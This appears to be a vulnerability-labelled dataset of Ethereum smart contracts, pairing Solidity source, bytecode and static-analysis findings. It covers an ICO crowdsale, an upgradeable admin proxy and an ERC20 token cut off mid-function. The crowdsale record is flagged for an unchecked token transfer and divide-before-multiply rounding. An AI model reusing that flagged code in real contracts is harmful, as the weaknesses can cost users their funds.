if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) {
// ICO in progress, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth < Softcap)";
return "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) { // ICO has not started
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "Presale is setup";
return "Presale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) { // ICO ended, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
CurrentStatus = "Unsuccessful (Eth < Softcap)";
return "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens gone
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (BST >= Hardcap)!";
return "Successful (BST >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) {
// ICO ended, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (Eth >= Softcap)!";
return "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) {
// ICO in progress, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth >= Softcap)!";
return "In progress (Eth >= Softcap)!";
}
setPrice();
}
function refund() {
// any contributor can call this to have their Eth returned.
// user's purchased BST tokens are burned prior refund of Eth.
//require minCap not reached
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (block.number > fundingEndBlock)
&& (fundValue[msg.sender] > 0));
//burn user's token BST token balance, refund Eth sent
uint256 ethRefund = fundValue[msg.sender];
balancesArray[msg.sender] = 0;
fundValue[msg.sender] = 0;
Burn(msg.sender, ethRefund);
//send Eth back, burn tokens
msg.sender.transfer(ethRefund);
Refund(msg.sender, ethRefund);
}
}
|
0x6060604052361561013b5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301cb3b2081146101575780631a5e21101461017c57806337205d76146101a1578063378dc3dc146101c8578063534d5acb146101ed578063590e1ae3146102125780636e66f6e91461022757806372729ff21461025657806379ca07921461027b5780637ee6b2d0146102935780638da5cb5b146102b857806391b43d13146102e7578063a26d7b941461030c578063ac06e30214610333578063bd4314621461035e578063c8b0812514610368578063c97886311461038d578063d21077f3146103bc578063d648a647146103e3578063da0239a614610408578063da93d0d11461042d578063e3306a6f14610442578063f2fde38b146104cd578063f851a440146104ee575b6101555b361561014a57600080fd5b61015261051d565b5b565b005b341561016257600080fd5b61016a610715565b60405190815260200160405180910390f35b341561018757600080fd5b61016a610b27565b60405190815260200160405180910390f35b34156101ac57600080fd5b6101b4610b2d565b604051901515815260200160405180910390f35b34156101d357600080fd5b61016a610b3c565b60405190815260200160405180910390f35b34156101f857600080fd5b61016a610b42565b60405190815260200160405180910390f35b341561021d57600080fd5b610155610b57565b005b341561023257600080fd5b61023a610c8e565b604051600160a060020a03909116815260200160405180910390f35b341561026157600080fd5b61016a610c9d565b60405190815260200160405180910390f35b341561028657600080fd5b610155600435610ca3565b005b341561029e57600080fd5b61016a610d1c565b60405190815260200160405180910390f35b34156102c357600080fd5b61023a610d22565b604051600160a060020a03909116815260200160405180910390f35b34156102f257600080fd5b61016a610d31565b60405190815260200160405180910390f35b341561031757600080fd5b6101b4610d37565b604051901515815260200160405180910390f35b341561033e57600080fd5b61016a600435602435610d40565b60405190815260200160405180910390f35b61015561051d565b005b341561037357600080fd5b61016a610f29565b60405190815260200160405180910390f35b341561039857600080fd5b61023a610f2f565b604051600160a060020a03909116815260200160405180910390f35b34156103c757600080fd5b6101b4610f3e565b604051901515815260200160405180910390f35b34156103ee57600080fd5b61016a610f4c565b60405190815260200160405180910390f35b341561041357600080fd5b61016a610f52565b60405190815260200160405180910390f35b341561043857600080fd5b610155610f59565b005b341561044d57600080fd5b610455611034565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156104925780820151818401525b602001610479565b50505050905090810190601f1680156104bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104d857600080fd5b610155600160a060020a03600435166110d2565b005b34156104f957600080fd5b61023a61111a565b604051600160a060020a03909116815260200160405180910390f35b600034158015906105365750600c5462010000900460ff165b80156105445750600a544310155b80156105525750600b544311155b801561056057506000600454115b151561056b57600080fd5b506000610576610f59565b61058260075434611129565b6007819055506105a461059734600654611151565b662386f26fc10000611180565b90506105bc6004546105b7836064611180565b6111c2565b600455600254600160a060020a031663a9059cbb33836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561063757600080fd5b6102c65a03f1151561064857600080fd5b50505060405180515050600160a060020a0333166000908152600e60205260409020546106759034611129565b600160a060020a033381166000818152600e602052604090819020939093559130909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9034905190815260200160405180910390a333600160a060020a03167f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed348360405191825260208201526040908101905180910390a25b50565b6000805433600160a060020a0390811691161461073157600080fd5b600c5462010000900460ff16151561074857600080fd5b60085460075410801561076a5750600b54431115801561076a5750600a544310155b5b156107eb57600c805461ffff1916905560408051908101604052601b81527f496e2070726f67726573732028457468203c20536f6674636170290000000000602082015260099080516107c29291602001906111eb565b507f496e2070726f67726573732028457468203c20536f66746361702900000000009050610b22565b6008546007541080156107ff5750600a5443105b1561087f57600c805461ffff1916905560408051908101604052601081527f50726573616c6520697320736574757000000000000000000000000000000000602082015260099080516108569291602001906111eb565b507f50726573616c65206973207365747570000000000000000000000000000000009050610b22565b6008546007541080156108935750600b5443115b1561091657600c805461ffff1916600117905560408051908101604052601c81527f556e7375636365737366756c2028457468203c20536f66746361702900000000602082015260099080516108ed9291602001906111eb565b507f556e7375636365737366756c2028457468203c20536f667463617029000000009050610b22565b6008546007541015801561092a5750600454155b156109b757600c805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028425354203e3d20486172646361702921000000006020820152600990805161098e9291602001906111eb565b507f5375636365737366756c2028425354203e3d20486172646361702921000000009050610b22565b600854600754101580156109cc5750600b5443115b80156109da57506000600454115b15610a6757600c805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028457468203e3d20536f667463617029210000000060208201526009908051610a3e9291602001906111eb565b507f5375636365737366756c2028457468203e3d20536f66746361702921000000009050610b22565b60085460075410158015610a7d57506000600454115b8015610a8b5750600b544311155b15610b1557600c805460ff1961ff00199091166101001716905560408051908101604052601d81527f496e2070726f67726573732028457468203e3d20536f6674636170292100000060208201526009908051610aec9291602001906111eb565b507f496e2070726f67726573732028457468203e3d20536f667463617029210000009050610b22565b5b5b5b5b5b610b22610f59565b5b5b90565b60065481565b600c5462010000900460ff1681565b60035481565b6000610b516003546064611180565b90505b90565b6000600854600754108015610b6e5750600c5460ff165b8015610b7b5750600b5443115b8015610b9d5750600160a060020a0333166000908152600e6020526040812054115b1515610ba857600080fd5b5033600160a060020a0381166000908152600e602081815260408084208054600d845282862086905593909252929055917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca591839051600160a060020a03909216825260208201526040908101905180910390a1600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610c4d57600080fd5b33600160a060020a03167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d8260405190815260200160405180910390a25b50565b600254600160a060020a031681565b60075481565b60005433600160a060020a03908116911614610cbe57600080fd5b600c54610100900460ff168015610cd9575060085460075410155b1515610ce457600080fd5b600554600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561071257600080fd5b5b5b50565b60085481565b600054600160a060020a031681565b600b5481565b600c5460ff1681565b6000805433600160a060020a03908116911614610d5c57600080fd5b60015433600160a060020a039081169116148015610d835750600c5462010000900460ff16155b8015610d9d57506005546000600160a060020a0390911611155b15610ec0576002805473ffffffffffffffffffffffffffffffffffffffff1990811673a7f40ccd6833a65dd514088f4d419afd9f0b0b52179091556005805490911673361e14cc5b3cfba5d197d8a9f02caf71b3dca6fd179055610514600655683635c9adc5dea0000060085560006007556404a817c8006003819055610e25906064611180565b600455600a839055600b829055600c805460ff1962ff000019909116620100001716905560408051908101604052601281527f43726f776473616c65206973207365747570000000000000000000000000000060208201526009908051610e909291602001906111eb565b50610e99610f59565b507f43726f776473616c652069732073657475700000000000000000000000000000610f20565b60015433600160a060020a03908116911614610efd57507f6e6f7420617574686f72697a6564000000000000000000000000000000000000610f20565b507f63616d706169676e2063616e6e6f74206265206368616e6765640000000000005b5b5b5b92915050565b60045481565b600554600160a060020a031681565b600c54610100900460ff1681565b600a5481565b6004545b90565b600a544310158015610f715750600a54616270014311155b15610f8157610514600655610152565b600a54616271014310158015610f9d5750600a5461c4e0014311155b15610fad576104b0600655610152565b600a5461c4e1014310158015610fca5750600a5462012750014311155b15610fda5761044c600655610152565b600a5462012751014310158015610ff85750600a54620189c0014311155b156110085761041a600655610152565b600a54620189c10143101580156110215750600b544311155b15610152576103e86006555b5b5b5b5b5b565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110ca5780601f1061109f576101008083540402835291602001916110ca565b820191906000526020600020905b8154815290600101906020018083116110ad57829003601f168201915b505050505081565b60005433600160a060020a039081169116146110ed57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600154600160a060020a031681565b60008282016111468482108015906111415750838210155b6111db565b8091505b5092915050565b6000828202611146841580611141575083858381151561116d57fe5b04145b6111db565b8091505b5092915050565b60008061118f600084116111db565b828481151561119a57fe5b04905061114683858115156111ab57fe5b068285020185146111db565b8091505b5092915050565b60006111d0838311156111db565b508082035b92915050565b80151561071257600080fd5b5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061122c57805160ff1916838001178555611259565b82800160010185558215611259579182015b8281111561125957825182559160200191906001019061123e565b5b5061126692915061126a565b5090565b610b2291905b808211156112665760008155600101611270565b5090565b905600a165627a7a72305820ea3056e252d6a7a250ddd9c8608fbbcb286edf7060d39282cf460974ea6013c00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,770 |
0xD092F354F7170984d406c15e091f56853d0e29Bf
|
pragma solidity 0.6.6;
// SPDX-License-Identifier: MIT
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104bb565b6101ed6101e861054f565b610574565b565b6101f7610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105bd565b610240565b6102406101d5565b50565b61024b610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105bd565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b6000610321610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61054f565b905061036b565b61036b6101d5565b90565b610376610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e610598565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a16102338161060a565b6000610480610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610598565b6104c3610598565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610593573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105c68161062e565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610637816106b0565b61068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e136fe38bdfbe7de8faf529a0f07cc7d0c494e330b78d3f3698acb697622649464736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 7,771 |
0x7b02c6118baefe500058cfc07d708fb404ef5bc6
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
